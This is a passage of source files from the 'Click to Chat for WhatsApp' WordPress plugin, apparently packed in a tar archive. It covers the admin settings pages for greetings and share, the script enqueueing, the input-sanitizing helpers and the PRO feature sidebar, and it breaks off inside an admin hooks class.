                <div class="col s12 m8 l5 xl4 ht-ctc-admin-sidebar ht-ctc-greetings-admin-sidebar sticky-sidebar">
                    <?php
                    if ( ! defined( 'HT_CTC_PRO_VERSION' ) ) {
                    ?>

                        <div class="sidebar-content">
                            <div class="col s12 m8 l12 xl12">
                                <div class="row">
                                    <ul class="collapsible popout ht_ctc_sidebar_greetings">
                                        <li class="active">
                                            <div class="collapsible-header"><?php _e( 'PRO', 'click-to-chat-for-whatsapp' ); ?></div>	
                                            <div class="collapsible-body">
                                                <p class="description">📝 Greetings - Form filling</p>
                                                <p class="description">👥 Greetings - Multi-Agent</p>
                                                <p class="description">&emsp;⏰ with different time ranges</p>
                                                <p class="description">&emsp;👤 Hide or display agent with next available time</p>
                                                <p class="description">🎯 Actions: Time, Scroll, Viewport</p>
                                                <p class="description">⚙️ Greetings page level settings</p>
                                                <p class="description" style="text-align: center; position:sticky; bottom:2px; margin-top:20px;"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/pricing/" class="waves-effect waves-light btn" style="width: 100%;">PRO Version</a></p>
                                            </div>	
                                        </li>
                                    </ul>
                                </div>
                            </div>
                        </div>

                    <?php
                    }
                    ?>
                </div>

            </div>

            <!-- new row - After settings page  -->
            <div class="row">
            </div>

        </div>

        <?php

    }


    public function settings() {


        // @uses for register_setting
        $greetings_list = [
            'ht_ctc_greetings_options',
            'ht_ctc_greetings_1',
            'ht_ctc_greetings_2',
            'ht_ctc_greetings_settings',
        ];

        $greetings_list = apply_filters( 'ht_ctc_fh_greetings_register', $greetings_list );

        // register_setting
        foreach ($greetings_list as $g) {

            register_setting( 
                'ht_ctc_greetings_page_settings_fields', 
                $g, 
                [$this, 'options_sanitize']
            );

        }

        // @admin_perfomance - if the above method is not working then add here..

        add_settings_section( 'ht_ctc_greetings_page_settings_sections_add', '', array( $this, 'ht_ctc_greetings_section_cb' ), 'ht_ctc_greetings_page_settings_section' );


        $settings = $this->settings_values();
        foreach ($settings as $s) {
            add_settings_field( 
                $s['id'], 
                $s['title'], 
                array( $this, 'settings_cb' ), 
                'ht_ctc_greetings_page_settings_section', 
                'ht_ctc_greetings_page_settings_sections_add',
                $s
            );
        }

        add_settings_field( 'ctc_g_content', '', array( $this, 'ctc_g_content_cb' ), 'ht_ctc_greetings_page_settings_section', 'ht_ctc_greetings_page_settings_sections_add' );


    }


    public function ht_ctc_greetings_section_cb() {
        ?>
        <h1 id="greetings_settings">Greetings Dialog</h1>
        <?php
        do_action('ht_ctc_ah_admin' );
    }



    public function ctc_g_content_cb() {

        ?>
        <div class="ctc_greetings_settings ctc_greetings_notes">

            <?php
            if ( ! defined( 'HT_CTC_PRO_VERSION' ) ) {
                ?>
                <p class="description">
                    <a href='https://holithemes.com/plugins/click-to-chat/greetings/' target='_blank'>Greetings</a>: <a href='https://holithemes.com/plugins/click-to-chat/greetings-1/' target='_blank'>Greetings-1</a>, <a href='https://holithemes.com/plugins/click-to-chat/greetings-2/' target='_blank'>Greetings-2</a>, <a href='https://holithemes.com/plugins/click-to-chat/greetings-form/' target='_blank'>Form Filling</a>, <a href='https://holithemes.com/plugins/click-to-chat/multi-agent/' target='_blank'>Multi Agent</a>
                </p>
                <br>
                <p class="description"><strong>PRO</strong>:</p>
                <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/greetings-actions/">Actions</a>: Time, Scroll, Click, Viewport</p>
                <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/greetings-form/">Greetings Form</a>: Form filling before initiating the chat</p>
                <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/multi-agent/">Multi Agent</a>: Display Multiple agent with different time ranges</p>
                <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/greetings-page-level-settings/">Greetings Page level settings</a>: Change Greetings content for any post</p>
                <br>
                <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/pricing/">PRO Version</a></p>
                <?php
            }
            ?>
            
        </div>
        <?php

    }





    /**
     * Sanitize each setting field as needed
     *
     * @param array $input Contains all settings fields as array keys
     */
    public function options_sanitize( $input ) {

        if ( ! current_user_can( 'manage_options' ) ) {
            wp_die( 'not allowed to modify - please contact admin ' );
        }

        // formatting api - emoji ..
        include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/ht-ctc-admin-formatting.php';

        $textarea = [
            'pre_filled',
            'woo_pre_filled'
        ];

        $editor = [
            'header_content',
            'main_content',
            'bottom_content',
            'opt_in'
        ];
        $editor = apply_filters( 'ht_ctc_fh_greetings_setting_editor_values', $editor );


        $new_input = array();

        foreach ($input as $key => $value) {
            if( isset( $input[$key] ) ) {

                if ( is_array( $input[$key] ) ) {
                    if ( function_exists('sanitize_textarea_field') ) {
                        $new_input[$key] = map_deep( $input[$key], 'sanitize_textarea_field' );
                    } else {
                        $new_input[$key] = map_deep( $input[$key], 'sanitize_text_field' );
                    }
                } else {
                    if ( in_array( $key, $editor ) ) {
                        // editor
                        if ( !empty( $input[$key]) && '' !== $input[$key] && function_exists('ht_ctc_wp_sanitize_text_editor') ) {
                            $new_input[$key] = ht_ctc_wp_sanitize_text_editor( $input[$key] );
                        } else {
                            // save field even if the value is empty..
                            $new_input[$key] = sanitize_text_field( $input[$key] );
                        }
                    } else if ( in_array( $key, $textarea ) ) {
                        // textarea
                        if ( function_exists('ht_ctc_wp_encode_emoji') ) {
                            $input[$key] = ht_ctc_wp_encode_emoji( $input[$key] );
                        }
                        if ( function_exists('sanitize_textarea_field') ) {
                            $new_input[$key] = sanitize_textarea_field( $input[$key] );
                        } else {
                            $new_input[$key] = sanitize_text_field( $input[$key] );
                        }
                    } else {
                        $new_input[$key] = sanitize_text_field( $input[$key] );
                    }
                }
            }
        }


        $local = [
            'header_content',
            'main_content',
            'bottom_content',
            'call_to_action',
            'opt_in'
        ];

        $local = apply_filters( 'ht_ctc_fh_greetings_setting_local_values', $local );

        // l10n
        do_action('ht_ctc_ah_admin_localization_greetings_page', $new_input );

        foreach ($new_input as $key => $value) {
            if ( in_array( $key, $local ) ) {
                do_action( 'wpml_register_single_string', 'Click to Chat for WhatsApp', "greetings_$key", $new_input[$key] );
            }
        }


        return $new_input;
    }


}


if ( current_user_can( 'manage_options' ) ) {
    new HT_CTC_Admin_Greetings();
}


endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/class-ht-ctc-admin-scripts.php000064400000011644147510273110021240 0ustar00<?php
/**
* Register css styles, javascript files at admin side
*
* @package ctc
* @subpackage admin
* @since 2.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Admin_Scripts' ) ) :

class HT_CTC_Admin_Scripts {

    public function __construct() {
        $this->hooks();
    }
    
    public function hooks() {
        add_action('admin_enqueue_scripts', [$this, 'register_scripts_admin'] );
        
        // add_filter('script_loader_tag', [$this, 'script_tags'], 10, 3);
    }

    // Register css styles, javascript files only on 'click-to-chat' page
    function register_scripts_admin($hook) {


        // true/false
        $load_js_bottom = apply_filters( 'ht_ctc_fh_load_admin_js_bottom', true );

        
        $js = 'admin.js';
        /**
         * greetings js. greetings_template, editor related. required in greetings page, woo page
         */
        $greetings_js = 'greetings.js';

        $css = 'admin.css';
        
        if ( defined('HT_CTC_DEBUG_MODE') ) {
            $js = 'dev/admin.dev.js';
            $greetings_js = 'dev/greetings.dev.js';
            
            $css = 'dev/admin.dev.css';
        }
        
        $rtl_css = 'admin-rtl.css';
        $md_css = 'materialize.min.css';
        
        // hook .. 
        if( 'toplevel_page_click-to-chat' == $hook || 'click-to-chat_page_click-to-chat-chat-feature' == $hook || 'click-to-chat_page_click-to-chat-group-feature' == $hook || 'click-to-chat_page_click-to-chat-share-feature' == $hook || 'click-to-chat_page_click-to-chat-customize-styles' == $hook || 'click-to-chat_page_click-to-chat-other-settings' == $hook || 'click-to-chat_page_click-to-chat-woocommerce' == $hook || 'click-to-chat_page_click-to-chat-greetings' == $hook ) {

            do_action('ht_ctc_ah_admin_scripts_start');

            // default dequeue in ctc woo admin page
            if ( 'click-to-chat_page_click-to-chat-woocommerce' == $hook ) {
                do_action('ht_ctc_ah_admin_scripts_start_woo_page');
            }

            wp_enqueue_style( 'wp-color-picker' );
            wp_enqueue_style('ctc_admin_md_css', plugins_url( "new/admin/admin_assets/css/$md_css", HT_CTC_PLUGIN_FILE ) , '', HT_CTC_VERSION );
            wp_enqueue_style('ctc_admin_css', plugins_url( "new/admin/admin_assets/css/$css", HT_CTC_PLUGIN_FILE ) , '', HT_CTC_VERSION );

            // intlTelInput. register and enqueue
            wp_register_style('ctc_admin_intl_css', plugins_url( 'new/admin/admin_assets/intl/css/intlTelInput.min.css', HT_CTC_PLUGIN_FILE ) , '', HT_CTC_VERSION );
            wp_register_script( 'ctc_admin_intl_js', plugins_url( 'new/admin/admin_assets/intl/js/intlTelInput.min.js', HT_CTC_PLUGIN_FILE ), '', HT_CTC_VERSION, $load_js_bottom );

            wp_enqueue_script( 'ctc_admin_md_js', plugins_url( 'new/admin/admin_assets/js/materialize.min.js', HT_CTC_PLUGIN_FILE ), array( 'jquery' ), HT_CTC_VERSION, $load_js_bottom );

            $ctc_admin_js_dependencies = ['jquery', 'jquery-ui-core', 'jquery-ui-sortable', 'wp-color-picker', 'ctc_admin_md_js'];

            if ( 'toplevel_page_click-to-chat' == $hook ) {
                wp_enqueue_style('ctc_admin_intl_css');
                wp_enqueue_script('ctc_admin_intl_js');

                $ctc_admin_js_dependencies[] = 'ctc_admin_intl_js';
            }

            wp_enqueue_script( 'ctc_admin_js', plugins_url( "new/admin/admin_assets/js/$js", HT_CTC_PLUGIN_FILE ), $ctc_admin_js_dependencies, HT_CTC_VERSION, $load_js_bottom );
            
            wp_enqueue_script( 'ctc_admin_greetings_js', plugins_url( "new/admin/admin_assets/js/$greetings_js", HT_CTC_PLUGIN_FILE ), array( 'jquery', 'ctc_admin_js' ), HT_CTC_VERSION, $load_js_bottom );


            // rtl pages
            if ( function_exists( 'is_rtl' ) && is_rtl() ) {
                wp_enqueue_style('ctc_admin_rtl_css', plugins_url( "new/admin/admin_assets/css/$rtl_css", HT_CTC_PLUGIN_FILE ) , '', HT_CTC_VERSION );
            }

            do_action('ht_ctc_ah_admin_scripts_end');
            
        } else {
            return;
        }

        $this->admin_var();
        
    }

    function admin_var() {

        $utils = plugins_url( 'new/admin/admin_assets/intl/js/utils.js', HT_CTC_PLUGIN_FILE );

        $ctc = [
            'plugin_url' => HT_CTC_PLUGIN_DIR_URL,
            'utils' => $utils,
            'tz' => esc_attr( get_option('gmt_offset') )
        ];

        wp_localize_script( 'ctc_admin_js', 'ht_ctc_admin_var', $ctc );
    }

    // async, defer - intl scripts
    function script_tags($tag, $handle, $src) {

        if ($handle === 'ctc_admin_intl_js') {
            $tag = str_replace(' src', ' async="async" src', $tag);
            $tag = str_replace('<script ', '<script defer ', $tag);
        }

        return $tag;
    }



}

new HT_CTC_Admin_Scripts();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/class-ht-ctc-admin-share-page.php000064400000022740147510273110021564 0ustar00<?php
/**
 * share settings page - admin 
 * 
 * share options .. 
 * 
 * @package ctc
 * @subpackage admin
 * @since 2.0 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Admin_Share_Page' ) ) :

class HT_CTC_Admin_Share_Page {

    public function menu() {

        add_submenu_page(
            'click-to-chat',
            'Share Invite',
            'Share',
            'manage_options',
            'click-to-chat-share-feature',
            array( $this, 'settings_page' )
        );
    }

    public function settings_page() {

        if ( ! current_user_can('manage_options') ) {
            return;
        }

        ?>

        <div class="wrap">

            <?php settings_errors(); ?>

            <div class="row">
                <div class="col s12 m12 xl8 options">
                    <form action="options.php" method="post" class="">
                        <?php settings_fields( 'ht_ctc_share_page_settings_fields' ); ?>
                        <?php do_settings_sections( 'ht_ctc_share_page_settings_sections_do' ) ?>
                        <?php submit_button() ?>
                    </form>
                </div>
                <!-- <div class="col s12 m12 xl6 ht-ctc-admin-sidebar">
                </div> -->
            </div>

        </div>

        <?php

    }


    public function settings() {

        // main settings - options enable .. share, share .. 
        // chat options 
        register_setting( 'ht_ctc_share_page_settings_fields', 'ht_ctc_share' , array( $this, 'options_sanitize' ) );
        
        add_settings_section( 'ht_ctc_main_page_settings_sections_add', '', array( $this, 'main_settings_section_cb' ), 'ht_ctc_share_page_settings_sections_do' );
        
        add_settings_field( 'share_text', __( 'Share Text', 'click-to-chat-for-whatsapp'), array( $this, 'share_text_cb' ), 'ht_ctc_share_page_settings_sections_do', 'ht_ctc_main_page_settings_sections_add' );
        add_settings_field( 'share_cta', __( 'Call to Action', 'click-to-chat-for-whatsapp'), array( $this, 'share_cta_cb' ), 'ht_ctc_share_page_settings_sections_do', 'ht_ctc_main_page_settings_sections_add' );
        add_settings_field( 'share_ctc_webandapi', __( 'Web WhatsApp', 'click-to-chat-for-whatsapp'), array( $this, 'share_ctc_webandapi_cb' ), 'ht_ctc_share_page_settings_sections_do', 'ht_ctc_main_page_settings_sections_add' );

        add_settings_field( 'share_ctc_desktop', __( 'Style, Position', 'click-to-chat-for-whatsapp'), array( $this, 'share_ctc_device_cb' ), 'ht_ctc_share_page_settings_sections_do', 'ht_ctc_main_page_settings_sections_add' );

        add_settings_field( 'share_show_hide', __( 'Show/Hide', 'click-to-chat-for-whatsapp'), array( $this, 'share_show_hide_cb' ), 'ht_ctc_share_page_settings_sections_do', 'ht_ctc_main_page_settings_sections_add' );
        add_settings_field( 'share_shortcode', '', array( $this, 'share_shortcode_cb' ), 'ht_ctc_share_page_settings_sections_do', 'ht_ctc_main_page_settings_sections_add' );
        
        
    }

    public function main_settings_section_cb() {
        ?>
        <h1><?php _e( 'Share', 'click-to-chat-for-whatsapp' ); ?></h1>
        <?php
        do_action('ht_ctc_ah_admin' );
    }


    // WhatsApp share ID.
    function share_text_cb() {
        $options = get_option('ht_ctc_share');
        $value = ( isset( $options['share_text']) ) ? esc_attr( $options['share_text'] ) : '';
        ?>
        <div class="row">
            <div class="input-field col s12">
                <input name="ht_ctc_share[share_text]" value="<?= $value ?>" id="whatsapp_share_text" type="text" class="input-margin">
                <label for="whatsapp_share_text"><?php _e( 'Share Text', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( "Placeholder {{url}} returns current webpage URL", 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/share-text/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> ) </p>
            </div>
        </div>
        <?php
    }

    // call to action 
    function share_cta_cb() {
        $options = get_option('ht_ctc_share');
        $value = ( isset( $options['call_to_action']) ) ? esc_attr( $options['call_to_action'] ) : '';
        ?>
        <div class="row">
            <div class="input-field col s12">
                <input name="ht_ctc_share[call_to_action]" value="<?= $value ?>" id="call_to_action" type="text" class="input-margin">
                <label for="call_to_action"><?php _e( 'Call to Action', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'Text that appears along with WhatsApp icon/button', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/call-to-action/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> </p>
            </div>
        </div>
        <?php
    }
    

    // If checked web / api whatsapp link. If unchecked wa.me links
    function share_ctc_webandapi_cb() {
        $options = get_option('ht_ctc_share');

        if ( isset( $options['webandapi'] ) ) {
            ?>
            <p>
                <label>
                    <input name="ht_ctc_share[webandapi]" type="checkbox" value="1" <?php checked( $options['webandapi'], 1 ); ?> id="webandapi"   />
                    <span><?php _e( 'Web WhatsApp on Desktop', 'click-to-chat-for-whatsapp' ); ?></span>
                </label>
            </p>
            <?php
        } else {
            ?>
            <p>
                <label>
                    <input name="ht_ctc_share[webandapi]" type="checkbox" value="1" id="webandapi"   />
                    <span><?php _e( 'Web WhatsApp on Desktop', 'click-to-chat-for-whatsapp' ); ?></span>
                </label>
            </p>
            <?php
        }
        ?>
        <p class="description"><?php _e( 'If checked opens Web.WhatsApp directly on Desktop and in mobile WhatsApp App', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/web-whatsapp/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> </p>
        <br>

        <?php
    }


    // device based settings - style, position
    function share_ctc_device_cb() {
        $options = get_option('ht_ctc_share');
        $dbrow = 'ht_ctc_share';
        $type = 'share';
        
        include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/admin-device-settings.php';
    }


    // show/hide 
    function share_show_hide_cb() {
        $options = get_option('ht_ctc_share');
        $dbrow = 'ht_ctc_share';
        $type = 'share';

        include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/admin-show-hide.php';
    }


    function share_shortcode_cb() {
        ?>
        <p class="description"><?php _e( 'Shortcodes for Share', 'click-to-chat-for-whatsapp' ); ?>: [ht-ctc-share] - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/shortcodes-share/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a></p>
        <?php
    }






    /**
     * Sanitize each setting field as needed
     *
     * @since 2.0
     * @param array $input Contains all settings fields as array keys
     */
    public function options_sanitize( $input ) {

        if ( ! current_user_can( 'manage_options' ) ) {
            wp_die( 'not allowed to modify - please contact admin ' );
        }

        $new_input = array();

        foreach ($input as $key => $value) {

            if ( is_array( $input[$key] ) ) {
                // key: display
                if ( function_exists('sanitize_textarea_field') ) {
                    $new_input[$key] = map_deep( $input[$key], 'sanitize_textarea_field' );
                } else {
                    $new_input[$key] = map_deep( $input[$key], 'sanitize_text_field' );
                }
            } else {
                if ( 'side_1_value' == $key || 'side_2_value' == $key || 'mobile_side_1_value' == $key || 'mobile_side_2_value' == $key ) {
                    $input[$key] = str_replace( ' ', '', $input[$key] );
                    if ( is_numeric($input[$key]) ) {
                        $input[$key] = $input[$key] . 'px';
                    }
                    if ( '' == $input[$key] ) {
                        $input[$key] = '0px';
                    }
                    $new_input[$key] = sanitize_text_field( $input[$key] );
                } else {
                    $new_input[$key] = sanitize_text_field( $input[$key] );
                }
            }
            
            
            // if( isset( $input[$key] ) ) {
            //     $new_input[$key] = sanitize_text_field( $input[$key] );
            // }
        }

        // l10n
        foreach ($input as $key => $value) {
            if ( 'share_text' == $key || 'call_to_action' == $key ) {
                do_action( 'wpml_register_single_string', 'Click to Chat for WhatsApp', $key.'__share', $input[$key] );
            }
        }

        do_action('ht_ctc_ah_admin_after_sanitize' );

        return $new_input;
    }


}

$ht_ctc_admin_share_page = new HT_CTC_Admin_Share_Page();

add_action('admin_menu', array($ht_ctc_admin_share_page, 'menu') );
add_action('admin_init', array($ht_ctc_admin_share_page, 'settings') );

endif; // END class_exists check
click-to-chat-for-whatsapp/new/admin/admin_commons/ht-ctc-admin-formatting.php000064400000005762147510273110023447 0ustar00<?php
/**
 * Formatting API - Admin related.
 * 
 * Encode emoji.. 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * Encoding emoji 
 * 
 * To check the charset and run
 * @uses wp_encode_emoji
 * 		 on this page other functions. (so keep this function at the top)
 * 
 * @since 3.3.5
 * @param string $value		input value to convert emojis to html entity
 */
if ( ! function_exists('ht_ctc_wp_encode_emoji') ) {
	function ht_ctc_wp_encode_emoji($value = '') {
		
		if ( defined('DB_CHARSET') && 'utf8' == DB_CHARSET ) {

			if (function_exists('wp_encode_emoji')) {
				$value = wp_encode_emoji( $value );
			}
		}

		return $value;
	}
}


/**
 * sanitize text field - basic sanitize
 * 
 * @uses 
 * @since 4.11
 * @param 
 */
if ( ! function_exists('ht_ctc_sanitize_input_fields') ) {
	function ht_ctc_sanitize_input_fields($value = '') {

		if ( function_exists('sanitize_textarea_field') ) {
			$value = sanitize_textarea_field( $value );
		} else {
			$value = sanitize_text_field( $value );
		}
		
		return $value;
	}
}



/**
 * sanitize text editor
 * 
 * @uses 
 * @since 3.9.3
 * @param 
 */
if ( ! function_exists('ht_ctc_wp_sanitize_text_editor') ) {
	function ht_ctc_wp_sanitize_text_editor($value = '') {

		if ( !empty( $value) && '' !== $value ) {

			if ( function_exists('ht_ctc_wp_encode_emoji') ) {
				$value = ht_ctc_wp_encode_emoji( $value );
			}

			$allowed_html = wp_kses_allowed_html( 'post' );

			// $allowed_html['iframe'] = array(
			//     'src'             => true,
			//     'height'          => true,
			//     'width'           => true,
			//     'frameborder'     => true,
			//     'allowfullscreen' => true,
			//     'title' => true,
			//     'allow' => true,
			//     'autoplay' => true,
			//     'clipboard-write' => true,
			//     'encrypted-media' => true,
			//     'gyroscope' => true,
			//     'picture-in-picture' => true,
			// );

			$new_value = wp_kses($value, $allowed_html);
			// htmlentities this $new_value (double security ..)
			$new_value = htmlentities( $new_value );
			
			// (may not needed - but extra security)
			if ( function_exists('sanitize_textarea_field') ) {
				$new_value = sanitize_textarea_field( $new_value );
			} else {
				$new_value = sanitize_text_field( $new_value );
			}
		}
		
		return $new_value;
	}
}


/**
 * ht_ctc_sanitize_custom_css_code - santize custom css code
 * 
 * @uses 
 * 	admin other settings - options_sanitize - custom css code
 * @since 4.11
 */
if ( ! function_exists('ht_ctc_sanitize_custom_css_code') ) {
	function ht_ctc_sanitize_custom_css_code($value = '') {


		if ( !empty( $value) ) {
			$allowed_html = wp_kses_allowed_html( 'post' );
			$value = wp_kses($value, $allowed_html);
		}

		if ( function_exists('sanitize_textarea_field') ) {
			$value = sanitize_textarea_field( $value );
		} else {
			$value = sanitize_text_field( $value );
		}

		// $value = htmlentities( $value );

		return $value;
	}
}click-to-chat-for-whatsapp/new/admin/admin_commons/admin-sidebar-content.php000064400000012377147510273110023176 0ustar00<?php
/**
 * sidebar content - admin main page
 */


if ( ! defined( 'ABSPATH' ) ) exit;

$othersettings = get_option('ht_ctc_othersettings');

?>

<div class="sidebar-content">

    <div class="col s12 m8 l12 xl12">
        <div class="row">
            <ul class="collapsible popout ht_ctc_sidebar_contat">
                <li class="active">
                    <div class="collapsible-header"><?php _e( 'Contact Us', 'click-to-chat-for-whatsapp' ); ?>
                        <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
                    </div>	
                    <div class="collapsible-body">
                        <?php
                        if ( defined( 'HT_CTC_PRO_VERSION' ) ) {
                            ?>
                            <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/support"> Click to Chat PRO</a></p>
                            <?php
                        } else {
                            ?>
                            <p class="description"><a target="_blank" href="https://wordpress.org/support/plugin/click-to-chat-for-whatsapp/#new-topic-0"> Click to Chat</a></p>
                            <?php
                        }
                        do_action('ht_ctc_ah_admin_sidebar_contact_details' );
                        ?>
                    </div>	
                </li>
            </ul>
        </div>
    </div>

    <?php
    do_action('ht_ctc_ah_admin_sidebar_contact' );

    if ( ! defined( 'HT_CTC_PRO_VERSION' ) ) {
        ?>
        <div class="col s12 m8 l12 xl12">
            <div class="row">
                <ul class="collapsible popout ht_ctc_sidebar_pro">
                    <li class="active">
                        <div class="collapsible-header"><?php _e( 'PRO', 'click-to-chat-for-whatsapp' ); ?> FEATURES 
                            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
                        </div>
                      
                        <div class="collapsible-body">	
                            <p class="description">📝 Form Filling</p>
                            <p class="description">👥 Multi-Agent Support</p>
                            <p class="description">&emsp;⏳ Different time ranges</p>
                            <p class="description">&emsp;👻 Hide agent when offline</p>
                            <p class="description">&emsp;⏰ Display offline agent with next available time</p>
                            <p class="description">🎲 Random Numbers</p>
                            <p class="description">🌍 Country-Based Display (New)</p>
                            <p class="description">📊 Google Ads Conversion Tracking</p>
                            <p class="description">🕒 Business Hours</p>
                            <p class="description">&emsp;🔒 Hide when offline</p>
                            <p class="description">&emsp;📞 Change WhatsApp number when offline</p>
                            <p class="description">&emsp;✨ Change Call-to-Action when offline</p>
                            <p class="description">⏲️ Display After Delays</p>
                            <p class="description">&emsp;⏱️ Time Delay</p>
                            <p class="description">&emsp;🖱️ Scroll Delay</p>
                            <p class="description">🔄 Display Based On:</p>
                            <p class="description">&emsp;📅 Selected days in a week</p>
                            <p class="description">&emsp;🕓 Selected time range in a day</p>
                            <p class="description">&emsp;👤 Website visitor login status</p>
                            <p class="description">🔗 Dynamic Webhooks with variables</p>
                            <p class="description">📍 Fixed/Absolute Position Types</p>
                            <p class="description">🛒 Add WhatsApp to WooCommerce Product Pages</p>
                            <p class="description">👋 Greetings Actions:</p>
                            <p class="description">&emsp;⏰ Time-based</p>
                            <p class="description">&emsp;🖱️ Scroll-based</p>
                            <p class="description">&emsp;🖱️ Click-based</p>
                            <p class="description">&emsp;👁️ Viewport-based</p>
                            <p class="description">⚙️ Page Level Settings:</p>
                            <p class="description">&emsp;🎨 Style adjustments</p>
                            <p class="description">&emsp;⏲️ Time/Scroll-based triggers</p>
                            <p class="description">&emsp;💬 Personalized Greetings</p>
                            <p class="description">✨ More Features</p>

                            <p class="description" style="text-align: center; position:sticky; bottom:2px; margin-top:20px;"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/pricing/" class="waves-effect waves-light btn" style="width: 100%;">PRO Version</a></p>

                        </div>	
                    </li>
                </ul>
            </div>
        </div>
        <?php
    }

    ?>


</div>click-to-chat-for-whatsapp/new/admin/admin_commons/class-ht-ctc-admin-hooks.php000064400000045023147510273110023515 0ustar00<?php
/**
 * Admin Hooks
 * Other function, features .. to
 * 
 * admin notices
 *  If whatsapp number not added. 
 * 
 * @since 2.7
 * @package ctc
 * @subpackage admin
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Admin_Others' ) ) :

class HT_CTC_Admin_Others {

    public function __construct() {
        $this->admin_hooks();
        $this->ajax();
    }

    function ajax() {

        add_action( 'wp_ajax_ht_ctc_admin_dismiss_notices', [$this, 'dismiss_notices'] );
    }

    function admin_hooks() {
        
        // if its a click to chat admin page
        add_action( 'load-toplevel_page_click-to-chat', array( $this, 'load_ctc_admin_page') );
        add_action( 'load-click-to-chat_page_click-to-chat-customize-styles', array( $this, 'load_ctc_admin_page') );
        add_action( 'load-click-to-chat_page_click-to-chat-greetings', array( $this, 'load_ctc_admin_page') );
        add_action( 'load-click-to-chat_page_click-to-chat-other-settings', array( $this, 'load_ctc_admin_page') );
        add_action( 'load-click-to-chat_page_click-to-chat-woocommerce', array( $this, 'load_ctc_admin_page') );
        
        add_action( 'ht_ctc_ah_admin_scripts_start', [$this, 'dequeue'] );
        add_action( 'ht_ctc_ah_admin_scripts_start_woo_page', [$this, 'woo_dequeue'] );

        // admin notices
        $this->admin_notice();

        // ht_ctc_ah_admin
        add_action( 'ht_ctc_ah_admin_after_sanitize', array( $this, 'after_sanitize') );

        // clear cache
        add_action( 'update_option_ht_ctc_admin_pages', array( $this, 'clear_cache') );
        // clear cache - customize styles
        add_action( 'update_option_ht_ctc_cs_options', array( $this, 'clear_cache') );
        // clear cache - greetings settings page
        add_action( 'update_option_ht_ctc_greetings_settings', array( $this, 'clear_cache') );

    }


    // its Click to Chat - admin page
    function load_ctc_admin_page() {

        do_action('ht_ctc_ah_admin_its_ctc_admin_page' );

        /**
         * when user enters any of the click to chat admin page
         * and if options are not set the it will set.
         * 
         * db: group, share, styles(style-2 adds while active)
         * loads only if styles are not defined. checked using s1
         * 
         * (db, db2 will also run when version changes from class-ht-ctc-register.php -> version_changed() )
         */
        $s1 = get_option('ht_ctc_s1');

        if ( !isset($s1['s1_text_color']) ) {
            include_once HT_CTC_PLUGIN_DIR . '/new/admin/db/class-ht-ctc-db2.php';
        }

    }

    /**
     * used to clear cache
     * runs on all plugin admin pages (expect customize styles, greetings page where multiple register options(register_setting) are there - to avoid calling multiple time for single time save.)
     */
    function after_sanitize() {

        $ht_ctc_admin_pages = get_option( 'ht_ctc_admin_pages');

        $count = ( isset( $ht_ctc_admin_pages['count']) ) ? esc_attr( $ht_ctc_admin_pages['count'] ) : '1';
        // to make this settings will always update to work for clear cache
        $count++;

        $values = array(
            'count' => $count,
        );

        update_option( 'ht_ctc_admin_pages', $values );
    }


    function admin_notice() {

        // Admin notices
        // if number blank
        $ht_ctc_chat_options = get_option('ht_ctc_chat_options');
        $ht_ctc_notices = get_option('ht_ctc_notices');
        $ht_ctc_pro_plugin_details = get_option('ht_ctc_pro_plugin_details');

        $load_pro_notice_scripts = 'no';

        if ( isset( $ht_ctc_chat_options['number'] ) ) {
            if ( '' == $ht_ctc_chat_options['number'] ) {
                add_action('admin_notices', array( $this, 'ifnumberblank') );
            }
        }
        
        $ht_ctc_othersettings = get_option('ht_ctc_othersettings');

        // if group id blank
        if ( isset( $ht_ctc_othersettings['enable_group'] ) ) {
            $ht_ctc_group = get_option('ht_ctc_group');

            if ( isset( $ht_ctc_group['group_id'] ) ) {
                if ( '' == $ht_ctc_group['group_id'] ) {
                    add_action('admin_notices', array( $this, 'ifgroupblank') );
                }
            }
        }

        // if share_text blank
        if ( isset( $ht_ctc_othersettings['enable_share'] ) ) {
            $ht_ctc_share = get_option('ht_ctc_share');

            if ( isset( $ht_ctc_share['share_text'] ) ) {
                if ( '' == $ht_ctc_share['share_text'] ) {
                    add_action('admin_notices', array( $this, 'ifshareblank') );
                }
            }
        }


        /**
         * pro notice
         * 
         * not closed/dismissed the pro notice
         * not yet installed once.
         * after 5 days of first install..
         */
        // display pro banner only if pro plugin is not yet installed once
        if ( !isset($ht_ctc_pro_plugin_details['version']) ) {

            if ( !isset($ht_ctc_notices['pro_banner']) ) {

                    $time = time();
                    
                    // 5 days
                    $wait_time = (5*24*60*60);

                    $ht_ctc_plugin_details = get_option('ht_ctc_plugin_details');
